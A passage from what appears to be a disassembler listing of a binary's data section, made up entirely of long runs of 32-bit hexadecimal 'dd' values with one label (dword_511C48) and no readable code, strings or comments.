		dd 0DB2B14DEh, 0EC31B661h, 64008321h, 6696930Ch, 3E0E6C06h
		dd 87966E39h, 738800E4h, 0C3B52ACCh, 80F7B438h,	8A05FDA4h
		dd 0FF10A37h, 0FA91DB02h, 0F1B62E2h, 73404AC0h,	0B1E96400h
		dd 0F123A187h, 108E49C4h, 2547700h, 0EC6A5376h,	4BB218C0h
		dd 42BB80h, 6CF778F2h, 531A2A5Ch, 0AE6AB000h, 0B607BA6Dh
		dd 942000BDh, 759C3CA6h, 0F9121C44h, 0DA0A7A9Ah, 2100B0D6h
		dd 3DA8AA1Eh, 2EF3008Ch, 0D7FB37CEh, 2F01CACBh,	52C9A68Dh
		dd 7E40E93h, 6AE90360h,	9F76046Ch, 0B280B88Bh, 6998ED97h
		dd 730565B0h, 3D68D73Ah, 808CE00Bh, 0A9A2B395h,	6DE338E5h
		dd 8E9C6780h, 0CA07AEEAh, 69FAED00h, 159B405Ch,	0A35B074Fh
		dd 0D0DBCE38h
		dd 7A31D66Dh, 21E63D09h, 0BCC18078h, 0DA6C8Ah, 0D8D9F28h
		dd 719093DCh, 73A46404h, 0C3801141h, 6AAF5Ah, 2AA9C2BDh
		dd 9904E5BFh, 40CB53FCh, 0D28F00E0h, 0D6653Fh, 4A5C661Ch
		dd 0AFB04BD8h, 9DB6C31Dh, 47F7B2C1h, 5BD07572h,	3E6FECDh
		dd 0D064911Ch, 0B8C65FE7h, 840029F4h, 40F8939Dh, 9048EBh
		dd 0C23DE7C0h, 0A7B9FDB3h, 7A1A0D07h, 4F705A6Dh, 0E652168h
		dd 8E870F98h, 0DC724CA3h, 0F560F7BAh, 350058D2h, 0F9FED8A1h
		dd 0E7EB8Eh, 0AC51AEEDh, 2EA439ADh, 0FE10E00h, 0A10143D6h
		dd 8A370030h, 6E27428h,	7F16D785h, 52005DE9h, 4399DE67h
		dd 727788h, 2F08CA23h, 46B85AF0h, 728F8624h, 13B0ED00h
		dd 0E558D79h, 28192543h, 0BC7B03E0h, 2300D5F7h,	8CC10E44h
		dd 0AA0934h, 675BE791h,	2692691Fh, 9507D9FCh, 7C41B24Ch
		dd 1BC0AA80h, 85FA2609h, 40561D3Bh, 0A65EF210h,	0DB0F19DCh
		dd 8079CE0Ah, 0A4C8EBC1h, 2D350065h, 5D99A1A3h,	0F860F15Fh
		dd 0FEC1FF48h, 3E827FC7h, 47A68DBh, 888D709Fh, 4CF1C08Ah
		dd 8FA01367h, 0F2006FBEh, 913C08C4h, 0F5094B83h, 714D8FF0h
		dd 28BC07DAh, 5E5428Bh,	5AA4002Dh, 3DD01B29h, 0FC3C4B00h
		dd 0CF265978h, 0AF040088h, 82D9517Bh, 21001BB2h, 13FB773Bh
		dd 1595B3h, 362C0CBEh, 1F5EE240h, 643D9305h, 36C72A51h
		dd 0E5D22980h, 1180E34Bh, 7959DCEBh, 370FF73Bh,	0E0FB828Bh
		dd 652DFCA4h, 532B0092h, 7CB97385h, 3AE87771h, 3400E774h
		dd 0BCDC74CEh, 0F4DFD551h, 4C235807h, 55B24800h, 0AF2EA8F8h
		dd 0A3276007h, 0E4E044BCh, 0D34D92h, 5EFA5BECh,	47425329h
		dd 19EFB903h, 0F8F022CAh, 18AA70B2h, 88267D1Eh,	8E2680C1h
		dd 7E007D10h, 4614F6D0h, 0DF730001h, 898720B8h,	5D003230h
		dd 8C438EBBh, 2EC94Eh, 0B0576034h, 27A17A48h, 0DADDF40Fh
		dd 8D8560A7h, 2D1ECB5h,	10D2FF51h, 30402A11h, 1C0E3970h
		dd 0EC3E6615h, 4A058A6h, 0F05034B6h, 6728C0A1h,	0FE3A014Bh
		dd 393AB0E0h, 8598CBh, 0A9B88434h, 6086F956h, 4E005490h
		dd 1E3DC95Bh, 3E70F1E6h, 63BC774Ch, 6B070D00h, 0B0359FA8h
		dd 0C1EA1701h, 5DFF3AA4h, 0F1EDC8h, 6EAC291Dh, 62048A82h
		dd 277E7C00h, 314BB124h, 0D550063h, 6E73C203h, 2500043Ch
		dd 7E3ED14h, 79493Bh, 2F8CB8E8h, 0B476E9D6h, 0F5570B00h
		dd 0FEC4EE99h, 0CF080EA1h, 0AE8033EBh, 86B1DCC1h, 193FE20Fh
		dd 0E3697Bh, 254F14A4h,	0FA040384h, 8CDB5CCh, 7C9FF000h
		dd 0EF0DE489h, 0B64401A2h, 0DDFAD0C7h, 92E07FBFh, 0A88605A4h
		dd 7C8EACh, 0C0611AA4h,	0E10035D1h, 0A40AFE13h,	0FE85F0A9h
		dd 4FB0000Dh, 4A654060h, 6B00635Fh, 1D6AB9BCh, 0F61F6148h
		dd 0D4F9587Ah, 8B39FB01h, 206F9EE1h, 0D300C810h, 2EE9C53Dh
		dd 1D33F072h, 8BA33E29h, 0C6003563h, 8B8A587h, 25C50A00h
		dd 7C91ED60h, 0DC4A1469h, 2603E098h, 9247E1C9h,	7B061D98h
		dd 5AA58200h, 0C8FDD62Ah, 0A95007EEh, 7051A893h, 4ACD8103h
		dd 1D5A38h, 0CF7B0AB7h,	7A6248F8h, 0E4231E69h, 5F46856h
		dd 0D71758F1h, 7F01C098h, 3C01F6B5h, 0E3FFCBA7h, 14ECCE20h
		dd 0E55F0CDh, 0DD42C32Ah, 150E4D60h, 2E00AC5Dh,	0DBF5230Ah
		dd 54EF60h, 0C5A04EFCh,	0FF8757E7h, 83D8824h, 6E52802h
		dd 734C618Ch, 3D0115D4h, 0DBBD2C5Dh, 0D1FE0079h, 4AA9EFE0h
		dd 1171988Eh, 9D88A616h, 3783E800h, 60670196h, 0F9476053h
		dd 7E017798h, 0B292591Bh, 820F0FAh, 572A018Ch, 8E8D54A8h
		dd 25F630C1h, 5E046204h, 8380024Ch, 0F11F1495h,	3F3F430h
		dd 19E106EEh, 0F9B80A1Dh, 55029978h, 0C63FD09h,	6A96600Eh
		dd 0E2B32432h, 7E0A00FEh, 0CF05B069h, 22C00300h, 7D0C8E91h
		dd 1C570FBDh, 0A2607ADAh, 1683A59Eh, 704884E0h,	4BF4048h
		dd 0BE1F2E00h, 0BA0AB611h, 5688003Ah, 67DAD1A0h, 16FCA7CFh
		dd 27E79400h, 0D9AFA640h, 92C903B6h, 0D09D506Fh, 0A91809F0h
		dd 75494801h, 791EFB98h, 3CCA2CF0h, 9C804F1Ah, 0ECBB7277h
		dd 0A90080E0h, 91FF6B06h, 12D47Bh, 0A5C0FFAh, 20DA886Eh
		dd 4B00E0EAh, 0A8F657A0h, 0E6F3FB7Eh, 0DFAB0EE2h, 6A818CF2h
		dd 0BE2D65BCh, 22A10070h, 5242519h, 86360EAh, 0C8E75EC9h
		dd 99E35930h, 0DE202F27h, 1AA00330h, 2A0643Eh, 8DE25842h
		dd 0E6255B00h, 70F06328h, 1CA93B61h, 0E15ECE80h, 0BC54C26Fh
		dd 0A2BB0500h, 0E35AC42Dh, 0F98F00ABh, 9B277426h, 6D002F40h
		dd 0CA351CFEh, 81DAFCh,	0DD53A1FBh, 0A38BF2F3h,	80128730h
		dd 0F4ABA49h, 0FCBD758Ch, 0A0C658Ah, 6C9CBCh, 89F397A5h
		dd 0DD00744Bh, 3B0D3E71h, 48B113FFh, 3A009005h,	2A82528Dh
		dd 701A920h, 39C09E87h,	66D43B3Fh, 362F0012h, 5AE8A20Bh
		dd 2B00E577h, 276D7160h, 1FD357Ah, 0EA2FC624h, 60994FB6h
		dd 0DF707C29h, 0C31F0501h, 3861B7A1h, 23414F0h,	0C1C26269h
		dd 94C0BC86h, 227166C4h, 354513Fh, 0D9A6DCDBh, 0C3249B65h
		dd 0D7A280E8h, 87251F82h, 8E5613h, 97BDDF5Bh, 1400FA63h
		dd 94660A0Dh, 7CE2B0Eh,	8B7FAC2Fh, 503E6090h, 310E0506h
		dd 80BD7C6Ch, 0B239CCB7h, 7DE11D19h, 0FEF401CBh, 504AFA18h
		dd 6B7E8798h, 8E683907h, 0B62094DEh, 0C15DD1Fh,	475A28ABh
		dd 3A009B29h, 0E8684118h, 0FC082BD7h, 0BFC0A046h, 0F4303A76h
		dd 0F2C87F2Ah, 8E30026h, 1ADB89C8h, 7300AA31h, 882BB9EBh
		dd 8DEC0Dh, 0FDF56F43h,	0D8A9C838h, 41C38B90h, 0F8EABDF0h
		dd 1DA076h, 0E4E6C7E0h,	5828C662h, 0C9912660h, 3A2BD4F6h
		dd 78804A51h, 0C4ECCB36h, 0F500FF0Eh, 0B925A975h, 0C1B64B3Ch
		dd 0F1B79559h, 0E316DC23h, 0E93F741Ch, 40BE01B8h, 19A12E12h
		dd 18C36050h, 2C591597h, 60398811h, 39563300h, 3EA1533Ch
		dd 0DE0062E8h, 6E1DE775h, 3AC74FC8h, 0D63A8D40h, 0F158CBBCh
		dd 0CE32511Eh, 0C1401FA3h, 14905B4Bh, 0C042C707h, 0F9D21206h
		dd 0A488606Eh, 923630Bh, 20004146h, 0BBF90AF2h,	0E983D91Ah
		dd 908AE0F8h, 20396079h, 0A6A042B2h, 6F01A5F4h,	3FDEF60Bh
		dd 0D3D1D947h, 739D00E2h, 0E6011888h, 0D8B33707h, 44ECC7A2h
		dd 0E20B00C8h, 5B381F46h, 0B10E94C0h, 9AC2110Dh, 0B5E400A0h
		dd 7E734AEh, 4F43C4FEh,	0B03243FFh, 9BFD200Fh, 147FFCB4h
		dd 62CD773h, 46E5BD10h,	0BBC00081h, 65B9DFC6h, 4A1845C7h
		dd 0A120B3FCh, 380C52B1h, 0BBB4A201h, 0C057F34h, 0F6FC8838h
		dd 31BB55Ch, 646A455Eh,	0B6C00612h, 801EE7C6h, 0C5B9D403h
		dd 38C39FC4h, 1A00B170h, 25703360h, 72045F79h, 0ACBD30C2h
		dd 0E4946C80h, 0FD85006Bh, 0D2AD3BAAh, 0EB0081C1h, 9F8D2447h
		dd 3A589305h, 4F2C8AEDh, 0D0D9008Dh, 0C2446203h, 0B72ABB00h
		dd 0F20DE776h, 6B4503B8h, 350F6894h, 48C04AE0h,	2286012h
		dd 909D2F01h, 29C82663h, 1E5A0141h, 0DDB95532h,	43E5FCDBh
		dd 0D425860Fh, 5A586203h, 0ABF840DCh, 0FEC21747h, 0A100BF5Ch
		dd 64378250h, 7EE600FDh, 0ED8FD1C6h, 1D00C105h,	0A87C1692h
		dd 8D2EBCh, 4F851FB1h, 652C9170h, 0F766EF00h, 68E56763h
		dd 0C38101FCh, 0C428FE06h, 0D516C46Ch, 0B99ABE00h, 8890FF20h
		dd 49800032h, 64F7236Eh, 0B1011EAEh, 0F0DE91ABh, 0D8D4EE35h
		dd 0E6262C47h, 921C00D4h, 0D63E40FCh, 6004D7Ah,	1162C567h
		dd 0C375CCh, 0EA103899h, 1B0D5518h, 2B00E8F4h, 6CE35FCFh
		dd 73EE36h, 47DE6651h
dword_511C48	dd 0D4EF6D2Eh, 0E224770Eh, 41AD038Fh, 0B442DF1Fh, 8D607719h
		dd 0DD1CFF50h, 3DDFE4A2h, 7B0257C0h, 0FC0135A5h, 312400A4h
		dd 6A96DFB1h, 3700FF12h, 3516187Eh, 28A9E1A5h, 3EB0C699h
		dd 0EB80608Ah, 6E460193h, 92003285h, 9C70F291h,	63BB7A9h
		dd 968951AFh, 0E2222975h, 0D8A62277h, 10392B22h, 11EF12D7h
		dd 500872BEh, 1F10710Eh, 48209184h, 4FE842BAh, 183C942Fh
		dd 362918DFh, 0E58F8879h, 62ED79D4h, 2426D029h,	0EBF32112h
		dd 113D7B11h, 6E113A53h, 0E329116Dh, 28812F12h,	3EAC80Fh
		dd 1729006Ah, 2DC5DA20h, 8D5C08CBh, 388C0139h, 752B3449h
		dd 0ED10230h, 0C3BBFFF7h, 0E3947B80h, 4F0B303h,	35B03E7Bh
		dd 0C7189800h, 89934E5Ch, 427360h, 15C2B0ADh, 19BA8331h
		dd 0C5D8D00h, 96F33BFCh, 2B604F6h, 0C0A02CE6h, 4F576027h
		dd 1A548503h, 0C74489h,	0C10D74E8h, 0A229D138h,	98AC5201h
		dd 0B5A38A1Eh, 1E32DC0h, 0FF1B423Ah, 0C9E129B0h, 31D0D71Dh
		dd 3200DA92h, 0EFF31536h, 795F30FBh, 6374008Bh,	616C9B42h
		dd 0AB000C96h, 20587A33h, 1718391h, 77C2B9F8h, 43115016h
		dd 2CC064D0h, 0C800B203h, 0B098BE30h, 0D34591h,	21CAB9E6h
		dd 0F1E7FBADh, 1C00CF79h, 24BCA0B4h, 98115CBEh,	0C998C00Bh
		dd 0A4765BBFh, 0D4EA1600h, 49D63186h, 0EF071E7Ah, 0FE7DC095h
		dd 6AB3334Dh, 1747FF00h, 5C1318B5h, 0BBED00A4h,	0E9E1F484h
		dd 0F300614Bh, 129AEAE6h, 0C6C5714h, 9D0149F9h,	4F3BFD10h
		dd 313C0004h, 0EA0ED993h, 422E007Ch, 4BB4E881h,	76E8FF88h
		dd 4D164800h, 0B91275FEh, 0B61C078Bh, 40B80531h, 0AD4A682Eh
		dd 0D85DF700h, 92A16B79h, 2C1A03D1h, 0AC54F37h,	7FCD9390h
		dd 0C1694E00h, 0E15C6F04h, 0C471000Bh, 64B6A58Ch, 3B00A0C0h
		dd 79F37C23h, 0FF693ADh, 0DE7362EEh, 199AE500h,	39010A49h
		dd 14151237h, 0F8402324h, 0DF160Fh, 337CD5C4h, 82913B32h
		dd 0B147520Bh, 0D16300A0h, 0B8BB8h, 0EAD2A303h,	689DF230h
		dd 64DC3F03h, 0F8E11h, 1E8DBEF8h, 0FBED2FDBh, 5F4AC407h
		dd 0E6F11948h, 806A8252h, 5C766DDFh, 2DFEFEE6h,	0BF8A0D3Eh
		dd 80353FCBh, 0C1D14DBDh, 0FA8588h, 0A54C4F62h,	9F38077h
		dd 0ACF92F00h, 2AC315D8h, 0ECDB381Dh, 0A3BF2B80h, 0FAC97E29h
		dd 69BDAF00h, 4C28B585h, 1BA40045h, 0F451B4DCh,	0E0FE2B79h
		dd 0C7C42500h, 0FB099DC0h, 447CF7h, 0E2F5B9E7h,	61C5A954h
		dd 0B800AFEAh, 91AEC61Ch, 0EAADC47Bh, 59D20064h, 7C1410CDh
		dd 5C12926Bh, 2F1D9h, 7E3A41h, 64727124h, 0D528E160h, 7BF19C05h
		dd 9B7E4Eh, 3EA790C7h, 5F540DA1h, 0A3003F71h, 0D17129D4h
		dd 3A012B52h, 0A001E1F6h, 0F9F73157h, 5CA370B0h, 1A18CA60h
		dd 2B33C15h, 9D6449E4h,	500C77Fh, 0D23D43h, 0C935B825h
		dd 0EC778C84h, 8F0BB0F0h, 805B364Ch, 2D6F2085h,	1BCD007Dh
		dd 62A42333h, 1050A2B1h, 121F7C87h, 9AC0BDC6h, 74B7E1C8h
		dd 9B7D001Eh, 36225002h, 9700175Ah, 9C85F6C6h, 1EA3D726h
		dd 40A1292Ch, 4F8BC720h, 2800C4EEh, 0EA83D7Fh, 0CDD1DCh
		dd 646E2330h, 0F9739F74h, 0A62E4400h, 0C5CB8317h, 0C8FA00FCh
		dd 0E6191A79h, 3F00FE02h, 5C53B009h, 31D787h, 7948CEE5h
		dd 74C0B16Ch, 0B4552A00h, 0FF5A4D65h, 7B9B0344h, 519D8601h
		dd 0C4DB3CD9h, 1100E8BBh, 0E49E80A8h, 0FAA6239Fh, 880A1D39h
		dd 0AA0E3F8Ch, 990B90C1h, 4FBFDB83h, 0A5F95BA8h, 7C64BE00h
		dd 3065A6A4h, 0DF4D00A1h, 0DEE6CDB5h, 900F9FD1h, 409ED360h
		dd 0FCF306ACh, 3E4077ADh, 999E778Dh, 0D97640E1h, 0C3699F82h
		dd 3400377Fh, 0A654092Ah, 1759B1h, 79F5C065h, 56AEB9A9h
		dd 0ABB89C12h, 431C6C00h, 1C35C9F0h, 806A7F36h,	0CE5BE02Ah
		dd 0B6003E7Dh, 0C663F3FEh, 1DC4749Ch, 405627C0h, 3071E824h
		dd 7838DA76h, 0E5F28287h, 0E113C5ABh, 79ECF037h, 2678EAh
		dd 20E7110Ch, 4E54F1F2h, 0AF5D9D00h, 0CE4A7B35h, 169036h
		dd 24C52B83h, 0AE15996Fh, 739A9200h, 25010430h,	0F33900A7h
		dd 7EAB38C9h, 0EF003483h, 957B4C58h, 245C462Bh,	4C61Ah
		dd 0D8129931h, 35983A35h, 385BD200h, 4B76060Ah,	13BA002Ah
		dd 0F0D9C7E7h, 5D00CCFEh, 97FA1D1Eh, 0C0D43F1h,	6B6057D4h
		dd 3A09E856h, 7208B5h, 0AFCE6804h, 526C03B4h, 0D7C44B3Eh
		dd 790D008Fh, 0CA012FEBh, 0C1556917h, 8E43FC19h, 0DB0EC0B3h
		dd 56930079h, 14C788C0h, 0A00032CEh, 0F7BD970Fh, 1F6D353Eh
		dd 7D0D17h, 0BF2658F8h,	0FB135491h, 241E2EEAh, 0D3D98AC0h
		dd 391DDF04h, 870719C9h, 12924229h, 0F760BB20h,	8D01670Bh
		dd 0C94FF351h, 0CEECBD31h, 0DA290065h, 0B843D0CFh, 0ED05D398h
		dd 4E5F57E8h, 0A14A9803h, 3FBDA05Bh, 9FC2008Dh,	0AEFBE4E6h
		dd 6C009D6Bh, 0A002442Dh, 83AC0h, 0B35E6040h, 0AC05F6C2h
		dd 4326550Fh, 0EF2520F4h, 1460CE5h, 26EBEE3h, 0C4042B2Eh
		dd 58007918h, 4163D64Bh, 30BB339h, 0C05FE7E4h, 29D03C86h
		dd 8D1B38EEh, 1387206h,	0B59BDACCh, 83AC7F73h, 0E1D8EBA1h
		dd 4061A884h, 0A60E1FAFh, 8F39C038h, 0C9D2FB0Dh, 8AB08900h
		dd 885B3048h, 0EA5E0071h, 0F656167h, 430BB255h,	7C3B7422h
		dd 42AE00ADh, 2C2F8B9h,	9FD31600h, 0E44F320Ah, 2DBC00CEh
		dd 0A288EF8Fh, 770018C7h, 901F852Bh, 7C41E38h, 0EA5F8E7Bh
		dd 96C02EFDh, 353D40CEh, 2FF55000h, 5626330Dh, 465A1D0Fh
		dd 27E28076h, 19517A70h, 804DD73Bh, 48C7D28Ah, 0B0B7E8Ch
		dd 3DABEA7Ch, 0C0C1B784h, 1628ACF0h, 0A3931301h, 85F04932h
		dd 7D3E6ECh, 0C518D05Eh, 0AD38A050h, 4C126D9Eh,	46008187h
		dd 159A8B61h, 0D6C102C4h, 5DC7AE6Eh, 0AC4E6057h, 9F2D0F65h
		dd 8AA413BEh, 80E8C7F5h, 4CF38315h, 36093300h, 11696784h
		dd 0F0D800A5h, 523C7B76h, 573F9820h, 0B598F85h,	9000FF08h
		dd 0B4FE8042h, 0CAEC002Dh, 15499443h, 3F01C8DFh, 0C03668F8h
		dd 0DB99B0h, 0B5107A18h, 2E270DF0h, 2F1C1601h, 6A134CF5h
		dd 5C2D9CC0h, 900E0B2h,	0AEFE68C7h, 407A843h, 8BD01D6Bh
		dd 0FEB6030h, 0BC2E2C7Fh, 0A532400Ch, 0B700C2D3h, 7366DD20h
		dd 7507180h, 0BD0862E5h, 9A83C00Ch, 600004F3h, 0C68CB678h
		dd 0C72CD6h, 4F55BEA6h,	7D799B6Eh, 0F2D5C00h, 1281E231h
		dd 72D300A4h, 592CB1FDh, 3F0062F1h, 0F379C650h,	0E763920h
		dd 3199CBBh, 0EE2F18E1h, 0C4ABF411h, 0DC12DEE4h, 70003D42h
		dd 2E325180h, 5D031CBAh, 272D4369h, 0CED0715Bh,	537299B5h
		dd 66F91E01h, 73B67F5h,	3CEF806Bh, 372CCEDh, 8FEF0C05h
		dd 0A80E85E0h, 6D19601Ah, 569581h, 0CBF5A03Dh, 446FA3A1h
		dd 46007F7Bh, 0E86EB9B0h, 0CF8AC4h, 513BD27Bh, 0F066C9D0h
		dd 2CB1CC4Ch, 4E0107E5h, 993302CFh, 69F78140h, 34E600DDh
		dd 0FDD1ADC2h, 75002D61h, 7FAB3F16h, 0B0320C64h, 62ED0010h
		dd 796D0A22h, 0E305533h, 233FF0D9h, 0CB7C0A3Dh,	3CBC9719h
		dd 8C157180h, 0ACD4DF24h, 74BF8D07h, 0CE0045D7h, 0E33903h
		dd 82C225BCh, 0E8797588h, 963EED00h, 289DA9D0h,	60490509h
		dd 888672AAh, 5E00C9A8h, 899D397h, 6E1BCAh, 329E36E0h
		dd 7F294212h, 8D7E5700h, 0B7A9939Ch, 0D0485CFBh, 0A71F4D07h
		dd 0C7C74E1Eh, 6445802Ah, 10589739h, 34E3264Dh,	8DEDC400h
		dd 921913h, 0EEE2D833h,	81AF3450h, 0A8CD6100h, 10C5DD84h
		dd 23FB0ED3h
		dd 87203A8Dh, 0A7E266FDh, 320B4303h, 88782136h,	56D6A63h
		dd 0EA54AC67h, 0DB9407D0h, 568B4028h, 66162AF6h, 0AAFDDCh
		dd 8D6F77EFh, 2DE25008h, 0D8215300h, 0B7EDD147h, 26F20048h
		dd 2E91D517h, 1D011BF8h, 399E5F41h, 94470A1Ch, 0EAB97AC0h
		dd 0B841201h, 33F40018h, 0E24FF0D1h, 426F731Dh,	259880FFh
		dd 0AD3AD63Fh, 38B30172h, 2E223684h, 0D1BF7042h, 0C315DD1Fh
		dd 5C40E35Ch, 137B7834h, 0ECAF00D5h, 763268BFh,	4E00A445h
		dd 83D44BB3h, 0A6099Eh,	2CBE020Ah, 8FB71CE7h, 51064E04h
		dd 7880C821h, 9085863Ah, 0A72F0042h, 8E3E3209h,	6D5048BDh
		dd 0B7115D94h, 27007498h, 0D2A359AAh, 0DB1D42BAh, 0DFCF07CAh
		dd 0FF0621F6h, 68833696h, 646B1D9Fh, 99C7CC00h,	0C2A25B4Ah
		dd 90B1023Fh, 78B52687h, 4893D4E8h, 1E226009h, 0E02838EEh
		dd 193102B6h, 96367653h, 941C10C2h, 234A20h, 0A5AE1DB5h
		dd 0F2A9F79h, 0D45C60EAh, 7DB70621h, 2484E59h, 0DFB6FD42h
		dd 30481DC6h, 0DE00CDB1h, 0A5F643BAh, 0F6E99A0Dh, 41F807h
		dd 4F38A7C0h, 0DD03ADC5h, 0B320770Eh, 0CCB620E1h, 6F107Bh
		dd 0AD2C12C8h, 4A70B7F6h, 0DEBD2200h, 54AA070Ah, 0FB8D05D0h
		dd 87C58CE3h, 78C29E28h, 58503E6Ah, 16B19701h, 77367BBEh
		dd 15C4B821h, 0E9500299h, 4A329D95h, 0EFD07A43h, 6B009422h
		dd 52BE9C89h, 164E472Eh, 0C68034h, 0CBA6E728h, 33007355h
		dd 9F7CEAD4h, 0DA84A5h,	184D8296h, 78CCA263h, 8000A1F8h
		dd 0B9403D5Bh, 0FAE0C3h, 0E92D164Dh, 1810F1CFh,	88F8C0Eh
		dd 0F283E091h, 42831C2h, 417F0D74h, 68ACC0C3h, 0E805F7FFh
		dd 456F0B17h, 6E7764C2h, 0A26700D8h, 0CEB52BBh,	28F8CDEEh
		dd 1E05EF00h, 0E9FA0DB4h, 402200BCh, 7C3B9E7Fh,	7B03F8D4h
		dd 0F2B1A6AEh, 4891F8FDh, 0F9DD0068h, 8FA76EF6h, 13030F9Ah
		dd 16A25D72h, 0B021009Ch, 0A49EFA42h, 0D709EC01h, 77DC886h
		dd 11D9790Ch, 438C58Ch,	521B9100h, 8507F984h, 0BB469900h
		dd 6EE2F1E6h, 0E80D18D9h, 0FC2ED078h, 0B5854B00h, 0F8D203BBh
		dd 11D7B2Ah, 2DD7113Bh,	2433FD2Fh, 3E2B9ECh, 34524824h
		dd 3E40B41Ch, 0AF02649h, 154D0BEEh, 0E400D1F8h,	46890E31h
		dd 0A003AC24h, 0C39BFA05h, 0F599CC00h, 3DB4D8F4h, 0A080F6D3h
		dd 2D6EDE3Ah, 0F12C0F81h, 0C000C81Fh, 18BBC6DCh, 8DE8C2h
		dd 0E1475D17h, 5A1370FAh, 39D39B07h, 0D480F28Ah, 0F1CC5Ch
		dd 55FEA42Fh, 8E1DD5E3h, 7EC7700h, 0F334B74Fh, 82B0463h
		dd 807FB5D2h, 0D00971BFh, 0D87841F0h, 0CDF7491Fh, 832C95C0h
		dd 0AE2998h, 2F3792CEh,	821C242h, 0FFD3DC00h, 836EC4A8h
		dd 132800B5h, 3185E7FAh, 610F8630h, 4398C8DAh, 0E0812963h
		dd 0A1C7E6h, 0BFE99CB1h, 99B4C5DCh, 7B46FE00h, 5C77A54Bh
		dd 9D76F6h, 0A1E4F58h, 0EB8D53E5h, 0F284149Bh, 50C01714h
		dd 94A0D87Fh, 8ED68054h, 0B3DFBE38h, 0E6C09E03h, 611412h
		dd 0C9D10382h, 7CC452EDh, 78A55B48h, 2E394F07h,	74A00E90h
		dd 3A230C44h, 173E8F9h,	0D993255Bh, 80573ACAh, 52EABDF8h
		dd 1FFEC2DAh, 6CD29A87h, 0AAA9876Ch, 4C5863C4h,	0BAEE50E8h
		dd 2501D87Ch, 0EB2FDF5Ah, 62C1C2B1h, 632D30h, 0C13D3CFFh
		dd 57D4EEA4h, 2FDD861Eh, 39D2EB40h, 4C5385BDh, 3503D8C4h
		dd 0FB1D7360h, 7809DBE0h, 79F4CB3Ch, 9B3F6D03h,	0F6BE5B46h
		dd 1E6E00A0h, 3D2027A4h, 0BB001544h, 4369182Eh,	51A235h
		dd 383C6C5Eh, 2ABE9267h, 5D5A8E07h, 977032B9h, 0B2C8E1h
		dd 51F40C9Dh, 7C95CA8Ch, 83B0CCA8h, 0F92CE60Eh,	0EB33A0BAh
		dd 0B1155264h, 9CAD0230h, 0BC5055BCh, 360073F4h, 44FA702Bh
		dd 1375F16h, 4CFFA527h,	3060643Fh, 6620C7E4h, 2D400178h
		dd 111F3D39h, 12F42CBBh, 7200FB06h, 1BC86D18h, 65D9008Ch
		dd 97542D6Fh, 0D303FA2Ch, 0B253CFE8h, 98C0E04Ch, 7A993D84h
		dd 0A27E706h, 900010A3h, 0E2D9F704h, 240DD481h,	1C2B22h
		dd 8BF83A2Eh, 92070328h, 79DEA846h, 0B3B4E500h,	0D8E85C2Dh
		dd 7C588C00h, 5A725B21h, 0FFB82609h, 63148F4Ah,	0D0DC7352h
		dd 0F13D31h, 71165DC3h,	4B80CB21h, 0CC869800h, 79F3B8E1h
		dd 2D10064h, 2C1B955Eh,	0BA009173h, 6B199076h, 27A58A2h
		dd 2E0C938Ch, 78607E08h, 241E0973h, 27005029h, 5CFB76B7h
		dd 35320385h, 9F412E71h, 8CAC4380h, 67EDCC0Eh, 0C0FA2FF7h
		dd 5BA337DAh, 0E9D20032h, 0BA3EA4F9h, 1B0002B4h, 5803EBC0h
		dd 0E3CA5ACh, 188A2822h, 0FF720860h, 52004757h,	0E8C40905h
		dd 505DA4EDh, 0FA648E03h, 99C900BBh, 7B500EE6h,	77793F98h
		dd 1CD70100h, 0B202A1AAh, 9E41011Eh, 2439665Bh,	625220FFh
		dd 0FB015Ch, 79E6F336h,	3D966CF5h, 0E200067Dh, 0FAC6EDAFh
		dd 64007B34h, 578172E6h, 7D7692h, 0CCD977E4h, 3EB196A6h
		dd 0D27138h, 0E98B37DFh, 0FDC45h, 0FBEDB538h, 3E05FDBDh
		dd 0D6F19D00h, 4B6755CAh, 0E9440F1Fh, 85E030FCh, 161AFFB1h
		dd 0E174CD75h, 26A15C00h, 0D8B2F73Eh, 0A305720Ch, 2000BD84h
		dd 5D54A258h, 263E00BFh, 719F6B6Eh, 164BD891h, 9144EE8h
		dd 396797C8h, 902937EEh, 0E62CFB96h, 2E2A1E00h,	0ACC6DA86h
		dd 5EA9006Fh, 57D2A12Bh, 0F605E584h, 46F18D05h,	319F43C0h
		dd 347A70h, 27DBA0C1h, 0A92E5455h, 8D96790Fh, 20FF605Ah
		dd 3FB59A6Eh, 31010362h, 0E82760DEh, 0D495CC69h, 0F700EEEAh
		dd 6F9A7371h, 0E2D13h, 2F29B88Ah, 0B08859C3h, 0F6E170A0h
		dd 5FD30900h, 7FB4644Dh, 0AE680078h, 6331F269h,	410097EBh
		dd 0EF8087CDh, 0E2724A56h, 80A001Dh, 0B9F3386Bh, 2000D235h
		dd 0A9B3DCD4h, 195E4B5h, 32BDDAD5h, 0E01718ECh,	0A500E3E5h
		dd 2B1B6147h, 0D58A40h,	0F4BD467Ch, 0E3F2C694h,	0F5A98E16h
		dd 0C5C19700h, 7419283h, 5E24805Fh, 5687C0B4h, 82009CF3h
		dd 6B85E5A6h, 0FD1829h,	33F45ABBh, 537F9788h, 9EA0731Dh
		dd 8A38BC00h, 3E1A408h,	4F8D0D89h, 6B803329h, 0D70049A9h
		dd 0AE7DC985h, 0E89665Ch, 0E8914B60h, 0D6F820A0h, 0EA30DFDEh
		dd 245B2CE5h, 127746h, 0BCA63E2Dh, 7386277Ah, 80477B3Eh
		dd 67B8EDC4h, 0B06E06E4h, 275200ADh, 2EF6C74Bh,	0D30095F9h
		dd 0E1B70D16h, 3BFC7020h, 17BD997Ch, 44D68580h,	0F1BC765Dh
		dd 9E5AB3Ch, 80C39823h,	3715B35Ah, 0B8DE00B5h, 8944304Bh
		dd 4600AB08h, 0DB2FD982h, 7094F6h, 601477Fh, 352C56E7h
		dd 36344000h, 4562EA6Eh, 0A93201FEh, 49117B6h, 0D2EFCCF1h
		dd 0C69DD800h, 29712365h, 9A1B1851h, 567C50DFh,	0A2FE1007h
		dd 5067A3B6h, 156911A0h, 0DAE500F1h, 21D08817h,	0A103D99Bh
		dd 362FAFECh, 14AB99C8h, 7B925C8h, 64296598h, 335A20CCh
		dd 701F34E2h, 0CA008212h, 178566F4h, 75800013h,	57ADB236h
		dd 0E0018D2h, 0F26EFF92h, 0D57E94h, 0A8330751h,	2E01C428h
		dd 55A1C3Dh, 0A0D688B3h, 0B49A700h, 0E161D5h, 0FECFED9Fh
		dd 0CAB8290h, 28D13100h, 0B51B52C0h, 69B3A30h, 0EB800DB8h
		dd 0DA79B77Ch, 9CE8801Ch, 4A24D107h, 1D30CCEDh,	0BAB868h
		dd 87C4DA43h, 126266E0h, 90D93628h, 4C000D42h, 0CFA45817h
